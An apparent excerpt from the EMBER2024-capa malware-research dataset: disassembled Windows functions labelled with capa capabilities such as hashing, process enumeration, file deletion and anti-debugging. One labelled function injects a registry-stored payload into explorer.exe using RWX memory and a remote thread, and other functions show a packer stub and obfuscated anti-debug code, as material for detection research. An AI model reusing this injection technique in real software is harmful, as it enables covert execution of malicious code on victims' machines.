joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002f020
Capabilities:
Hash data using fnv

Disassembly:
sub rsp, 0x10
mov qword [rsp + 8], rcx
mov dword [rsp + 4], 0x811c9dc5
mov rax, qword [rsp + 8]
add rax, 2
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
mov rcx, rax
add rcx, 1
mov qword [rsp + 8], rcx
mov al, byte [rax]
mov byte [rsp + 3], al
cmp byte [rsp + 3], 0
jne 0x14002f06a
mov eax, dword [rsp + 4]
add rsp, 0x10
ret
mov eax, dword [rsp + 4]
movsx ecx, byte [rsp + 3]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 4], eax
jmp 0x14002f03f

Function at 0x140001988
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019d2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019d2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019d2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019d2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019d2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019d4
xor al, al
add rsp, 0x28
ret
Function at 0x180001000
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x150
xor edx, edx
mov dword [rsp + 0x20], 0x130
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18000105c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call fcn.18000130c
lea rdx, str.Failed_to_create_process_snapshot:__d_n
lea rcx, [rax + 0x60]
mov r8d, edi
call fcn.180001520
xor eax, eax
mov rbx, qword [rsp + 0x170]
add rsp, 0x150
pop rdi
ret
lea rdx, [rsp + 0x20]
mov rcx, rax
mov qword [rsp + 0x160], rbp
xor ebp, ebp
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1800010b5
mov qword [rsp + 0x168], rsi
lea rsi, str.explorer.exe
lea rdi, [rsp + 0x4c]
mov ecx, 0xd
repe cmpsb byte [rsi], byte [rdi]
je 0x1800010a9
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x180001080
jmp 0x1800010ad
mov ebp, dword [rsp + 0x28]
mov rsi, qword [rsp + 0x168]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x170]
mov eax, ebp
mov rbp, qword [rsp + 0x160]
add rsp, 0x150
pop rdi
ret

Function at 0x1800010e0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rsi
sub rsp, 0x48
lea rax, [rsp + 0x68]
lea rdx, str.Console
mov r9d, 1
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180001213
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
xor ebp, ebp
mov qword [rsp + 0x28], rax
lea rdx, str.qweasd123zxc
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x60], ebp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180001213
mov ecx, dword [rsp + 0x60]
call fcn.180001254
mov rcx, qword [rsp + 0x68]
lea rdx, str.qweasd123zxc
mov rsi, rax
lea rax, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x180001213
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x40], rdi
call fcn.180001000
lea edx, [rbp + 1]
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov r9d, 0x3000
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rsp + 0x60]
mov r8, rsi
mov rcx, rdi
mov rdx, rax
mov rbx, rax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], rbp
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x70]
add rsp, 0x48
pop rsi
pop rbp
ret
xor ecx, ecx
call fcn.1800019b0
int3

Function at 0x1800019b0
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.180001820
Function at 0x180004e58
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x18000c840]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.180003f24
xor ebx, ebx
cmp qword [0x18000dd18], rbx
mov rdi, rax
jne 0x180004f6b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x180005042
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180005042
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x18000dd18], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x18000dd20], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x18000dd28], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x18000dd38], rax
test rax, rax
je 0x180004f62
lea rdx, [0x180009f40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x18000dd30], rax
jmp 0x180004f72
mov rax, qword [0x18000dd30]
jmp 0x180004f79
mov rax, qword [0x18000dd30]
mov r11, qword [0x18000dd38]
cmp rax, rdi
je 0x180004fe0
cmp r11, rdi
je 0x180004fe0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x18000dd38]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x180004fe0
test rax, rax
je 0x180004fe0
call rsi
test rax, rax
je 0x180004fda
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x180004fda
test byte [rsp + 0x40], 1
jne 0x180004fe0
bts ebp, 0x15
jmp 0x180005020
mov rcx, qword [0x18000dd20]
cmp rcx, rdi
je 0x180005020
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180005020
call rax
mov rbx, rax
test rax, rax
je 0x180005020
mov rcx, qword [0x18000dd28]
cmp rcx, rdi
je 0x180005020
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180005020
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x18000dd18]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180005042
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x180005044
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180005290
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x180007537
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x18000c840]
jne 0x1800052aa
rol rcx, 0x10
test cx, 0xffff
jne 0x1800052a6
repz ret
ror rcx, 0x10
jmp 0x180007490
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x18000de10]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x18000df08]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180007515
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x18000de10]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x180007537
mov rax, qword [rsp + 0x88]
mov qword [0x18000df08], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x18000dea8], rax
mov rax, qword [0x18000df08]
mov qword [0x18000dd80], rax
mov rax, qword [rsp + 0x90]
mov qword [0x18000de90], rax
mov dword [0x18000dd70], 0xc0000409
mov dword [0x18000dd74], 1
mov rax, qword [0x18000c840]
mov qword [rsp + 0x68], rax
mov rax, qword [0x18000c848]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x18000de08], eax
mov ecx, 1
call fcn.180006ec8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x18000a3e0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x18000de08], 0
jne 0x1800075be
mov ecx, 1
call fcn.180006ec8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140011465
Capabilities:
Enumerate processes

Disassembly:
jmp 0x1400177f0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x428
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x448]
mov rax, qword [0x14002c018]
xor rax, rbp
mov qword [rbp + 0x3f8], rax
lea rcx, [0x1400330f9]
call fcn.14001180c
xor edx, edx
mov ecx, 2
call fcn.1400113d9
mov qword [rbp + 8], rax
mov dword [rbp + 0x30], 0x238
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x14001785b
xor al, al
jmp 0x1400178ba
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.140011505
test eax, eax
jne 0x14001787a
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x1400178ba
mov rdx, qword [rbp + 0x420]
lea rcx, [rbp + 0x5c]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
jne 0x14001789d
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x1400178ba
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.140011726
test eax, eax
jne 0x14001787a
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140026220]
call fcn.1400116c7
mov rax, rdi
mov rcx, qword [rbp + 0x3f8]
xor rcx, rbp
call fcn.1400113f2
lea rsp, [rbp + 0x408]
pop rdi
pop rbp
ret

Function at 0x140011483
Capabilities:
Terminate process

Disassembly:
jmp 0x14001d4f0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400115af
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001e840
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001e860
xor al, al
jmp 0x14001e8e1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001e873
xor al, al
jmp 0x14001e8e1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001e89d
xor al, al
jmp 0x14001e8e1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001e8b1
xor al, al
jmp 0x14001e8e1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001e8c3
xor al, al
jmp 0x14001e8e1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001e8df
xor al, al
jmp 0x14001e8e1
mov al, 1
add rsp, 0x38
ret
Function at 0x140449842
Capabilities:
Encode data using xor

Disassembly:
sal word [rsp + 0xc], 0xae
xor r9w, r10w
dec r9w
ror r9w, 1
inc r9w
rol r9w, 1
push 0xffffffffd9013e8f
xor r10w, r9w
shl byte [rsp + 0x10], 0x22
lea r9, [rsp + r9 + 0x18]
mov dword [r9], ebx
lea rsp, [rsp + 0x18]
ja fcn.1404780fa
Function at 0x1400814b0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1400814bd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1400814cd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1400814b5
lea eax, [rcx + 1]
jmp 0x1400814db
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1400814ee
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1400814d4
sub eax, 3
jb 0x14008150e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14008155d
sar eax, 1
movsxd rbp, eax
jb 0x140081544
jmp 0x14008151c
add ebx, ebx
jne 0x14008151a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140081544
inc ecx
add ebx, ebx
jne 0x14008152a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140081544
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14008153d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14008152c
add ecx, 2
jmp 0x140081549
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140081472
jmp 0x1400814bd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x11e00
mov dl, 0x2e
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1400815a9
cmp rsi, rcx
jae 0x1400815b1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140081590
cmp al, 0x8f
ja 0x140081590
cmp byte [rsi - 2], 0xf
je 0x140081596
sub al, 0xe8
cmp al, 1
ja 0x14008157a
cmp rsi, rcx
jae 0x1400815b1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140081580
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1400815b1
lodsb al, byte [rsi]
jmp 0x140081590
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x7f000]
mov eax, dword [rdi]
or eax, eax
je 0x14008161a
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x811dc]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1400815be
jns 0x1400815f3
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1400815fd
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140081614
mov qword [rbx], rax
add rbx, 8
jmp 0x1400815de
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140081654
cmp al, 0xef
ja 0x140081646
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140081626
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140081635
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1400816a8
sub rsp, 0xffffffffffffff80
jmp 0x1400121fc
Function at 0x140002220
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
test ecx, ecx
je 0x140002297
movsxd rdx, ecx
lea rcx, [0x14000217c]
call qword [sym.imp.USER32.DLL_EnumWindows]
mov rbx, qword [0x1400c9e18]
test rbx, rbx
je 0x14000230a
mov rdi, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rbx + 0x10], eax
jne 0x14000228d
cmp byte [rbx + 0x20], 0
je 0x14000228d
mov rcx, qword [rbx + 0x18]
xor r9d, r9d
mov dword [rsp + 0x30], 3
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea rdx, [r9 - 2]
xor r8d, r8d
call qword [sym.imp.USER32.DLL_SetWindowPos]
mov rbx, rdi
test rdi, rdi
jne 0x140002253
jmp 0x14000230a
mov rbx, qword [0x1400c9e18]
test rbx, rbx
je 0x14000230a
mov rdi, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rbx + 0x10], eax
jne 0x140002302
cmp byte [rbx + 0x21], 0
je 0x1400022c6
mov rcx, qword [rbx + 0x18]
mov edx, 1
call qword [sym.imp.USER32.DLL_EnableWindow]
cmp byte [rbx + 0x20], 0
je 0x1400022f2
mov rcx, qword [rbx + 0x18]
mov dword [rsp + 0x30], 3
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
or rdx, 0xffffffffffffffff
call qword [sym.imp.USER32.DLL_SetWindowPos]
lea rdx, [rbx + 0x10]
lea rcx, [0x1400c9e18]
call fcn.1400035b0
mov rbx, rdi
test rdi, rdi
jne 0x1400022a3
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x1400029b0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edx, ecx
mov esi, 0x104
mov ecx, esi
call fcn.140003a00
mov ecx, esi
mov rdx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
xor ebp, ebp
movsxd rbx, eax
test eax, eax
je 0x1400029f9
lea ecx, [rbp + 0x5c]
cmp word [rdi + rbx*2 - 2], cx
je 0x1400029f9
mov word [rdi + rbx*2], cx
inc ebx
sub esi, ebx
mov ecx, esi
call fcn.140003b00
mov rsi, qword [rsp + 0x40]
movsxd rax, ebx
mov rbx, qword [rsp + 0x30]
mov word [rdi + rax*2], bp
mov rbp, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140002a20
Capabilities:
Set file attributes

Disassembly:
sub rsp, 0x28
xor eax, eax
test rcx, rcx
je 0x140002a31
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cdqe
add rsp, 0x28
ret

Function at 0x140002a38
Capabilities:
Delete file

Disassembly:
xor edx, edx
jmp 0x140002a40
push rbx
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
je 0x140002a6b
test dl, 2
je 0x140002a5e
mov edx, pe_nt_image_headers64
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
cdqe
jmp 0x140002a6d
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x140002a40
Capabilities:
Delete file
Set file attributes

Disassembly:
xor edx, edx
jmp 0x140002a40
push rbx
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
je 0x140002a6b
test dl, 2
je 0x140002a5e
mov edx, pe_nt_image_headers64
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
cdqe
jmp 0x140002a6d
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x140002b20
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rcx
mov dword [rsp + 0x40], eax
cmp dword [rcx + 0x1c], eax
jne 0x140002b64
mov r8d, dword [rcx + 0x10]
mov rdx, qword [rcx + 8]
lea r9, [rsp + 0x40]
sub r8d, dword [rcx + 0x14]
mov rcx, qword [rcx]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rbx + 0x10]
mov dword [rbx + 0x14], eax
movsxd rax, dword [rsp + 0x40]
add rsp, 0x30
pop rbx
ret
cdqe
add rsp, 0x30
pop rbx
ret

Function at 0x140003130
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
mov edi, r8d
mov rsi, rdx
mov dword [rsp + 0x48], ebx
test rdx, rdx
je 0x1400031a8
test r8d, r8d
je 0x1400031a8
mov rdx, rcx
mov rcx, qword [0x1400c9ec0]
call fcn.140003390
test rax, rax
je 0x1400031a4
mov r8d, edi
mov rdx, rsi
cmp qword [rax + 8], rbx
je 0x140003191
mov rcx, rax
call fcn.1400031c0
mov ebx, eax
cdqe
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov rcx, qword [rax]
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, dword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
movsxd rax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x2a4166
Capabilities:
Execute anti-debugging instructions

Disassembly:
setge r12b
adc r12b, r11b
xor r12b, r8b
jmp 0x2a41b0
lea rsp, [rsp + 1]
mov qword [rsp], r12
mov r12w, ax
jmp 0x2a4150
mov r12w, r9w
bswap r12d
bsf r12w, r15w
lea rdi, [rsi + riz]
jmp 0x2a41de
mov r12d, 0xcd19d6f7
sub rsp, 0x1c
mov r12d, 0x82612b4a
clc
sub rsp, 4
mov qword [rsp + 0x10], rdi
jmp 0x2a419a
inc di
mov dil, byte [rsp]
lea rdi, [r10 + riz]
mov qword [rsp + 7], rdx
mov dil, byte [rsp]
setl r12b
jmp 0x2a4265
bswap rdx
pushfq
stc
mov qword [rsp], rcx
xchg rdx, r9
neg rcx
jmp 0x2a4248
neg rdi
push r9
not r12
rcr r9, cl
mov r12w, word [rsp]
mov r12w, word [rsp]
jmp 0x2a421b
bts rdi, r15
lea rcx, [r9 + riz + 0xb74c]
mov r12w, di
xchg r9, rcx
push r14
jmp 0x2a427d
xchg rdx, rdi
setb dil
xchg dl, r12b
mov rdx, qword [rsp]
mov r12d, r11d
sub dx, 0xf074
jmp 0x2a4231
sub rsp, 3
cld
cmc
mov dl, 0x99
clc
mov r9d, 0x4e6cb1cc
jmp 0x2a42b6
neg cx
bswap rcx
mov edx, 0x314d2c46
not r12b
rdtsc
jmp 0x2a4852
lea rsp, [rsp + 3]
push rax
lea r9, [0x16633704]
bts r14d, r15d
rdtsc
sub rsp, 0x16
jmp 0x2a42a0
mov r9d, dword [rsp + 0x24]
ror r12d, cl
mov dx, word [rsp + 0x31]
bswap rdx
jmp 0x2a4322
not r9b
mov dword [rsp + 0x34], eax
mov qword [rsp + 9], rsp
lea r14, [r8 + r15]
mov word [rsp + 0x28], di
mov r14w, r15w
jmp 0x2a42f1
xchg r12, r14
lea rdi, [r9*4]
std
mov qword [rsp + 0x25], rcx
jmp 0x2a435a
sub rsp, 0x13
mov di, 0x774b
xchg dword [rsp + 0x28], r9d
mov byte [rsp + 0xe], r15b
pop word [rsp + 0x32]
mov eax, 0x383357a3
jmp 0x2a4307
xchg r9w, r12w
clc
push qword [rsp + 0xe]
pop word [rsp + 0x1f]
bswap ecx
mov r9b, byte [rsp + 0x29]
jmp 0x2a4434
pop word [rsp + 0x16]
cmc
bswap r9d
mov cl, byte [rsp + 2]
pop di
neg cl
jmp 0x2a433c
stc
mov al, byte [rsp + 0x14]
pop qword [rsp + 9]
xchg rdx, rdi
add rsp, 8
mov r9b, byte [rsp + 1]
jmp 0x2a43d0
sub rsp, 0xb
add rsp, 0x19
mov r12, qword [rsp + 0x20]
mov r12d, ebx
xchg r14, rdx
xchg edx, edi
jmp 0x2a4394
lea rdi, [r14 + riz - 0x564f61ce]
shr r12w, cl
xchg r12d, r14d
mov r14w, r15w
mov r14b, byte [rsp + 0xf]
mov edi, r12d
jmp 0x2a4411
pop r14w
mov ecx, dword [rsp + 0x3f]
mov rdi, 0x6288cc69
add rsp, 0xa
mov byte [rsp + 0x21], r12b
rdtsc
jmp 0x2a43b9
pop qword [rsp]
push qword [rsp + 0xc]
call fcn.002a4492
mov ebp, 0x44b5d23c
cmpsb byte [rsi], byte [rdi]
lea ecx, [rcx]
cdq
clc
or edi, esp
sub eax, 0xaa5f38aa
sub eax, 0x4e1de24b
lea esp, [rcx*8]
lea r12, [r9*8]
mov dword [rsp + 0x30], eax
std
xchg r9d, ecx
pop word [rsp + 0x2c]
mov r9d, 0x2e1ddec5
jmp 0x2a43f5
rdtsc
pop r14w
sub rsp, 0x1b
not edi
mov edi, 0xe67da0a2
inc eax
jmp 0x2a4380
mov dword [rsp + 9], r10d
mov r9w, word [rsp + 1]
mov word [rsp + 2], cx
sub rsp, 2
not ecx
xchg cl, r14b
jmp 0x2a4460
Function at 0x2a4caf
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg byte [rsp + 0x10], dl
setns dl
mov cx, word [rsp + 7]
xchg qword [rsp], r12
jmp 0x2a4c95
clc
sub rsp, 0xf
cld
bt dx, r11w
lea rsp, [rsp + 2]
jmp 0x2a4c4b
mov cx, 0xbc31
lea r14, [r13 + riz]
mov al, 0x87
setbe cl
bswap rax
lea r12, [rbx*4]
jmp 0x2a4c61
push qword [rsp + 2]
not r12b
push r14w
bswap rdi
bswap edi
mov rax, r10
jmp 0x2a4ce1
xchg qword [rsp], r9
mov word [rsp + 5], si
pop word [rsp + 1]
pop word [rsp]
lea r12, [r15 + riz + 0xe8]
jmp 0x2a4c7a
push word [rsp + 0x19]
mov r9, 0x30f48706
neg ax
jmp 0x2a4d4a
lea rsp, [rsp + 2]
mov r14, rdx
btc edx, r9d
bsr r14, rsi
rdtsc
xchg qword [rsp + 9], rcx
jmp 0x2a4ccb
neg edi
bsf r14w, si
mov r9, r15
xchg byte [rsp + 3], r14b
bswap edx
rdtsc
jmp 0x2a4d72
xchg r9w, r12w
pop rdx
mov edx, eax
pop rax
lea rcx, [rax + r10]
add rsp, 6
jmp 0x2a4d22
sub r12d, r15d
mov cx, r9w
mov byte [rsp + 2], bl
mov di, 0xa0e3
stc
jmp 0x2a4ddb
bswap r12d
bswap ecx
shl cl, cl
lea r9, [rbp + rbp]
neg cx
mov byte [rsp + 3], r12b
jmp 0x2a4d5c
add rsp, 3
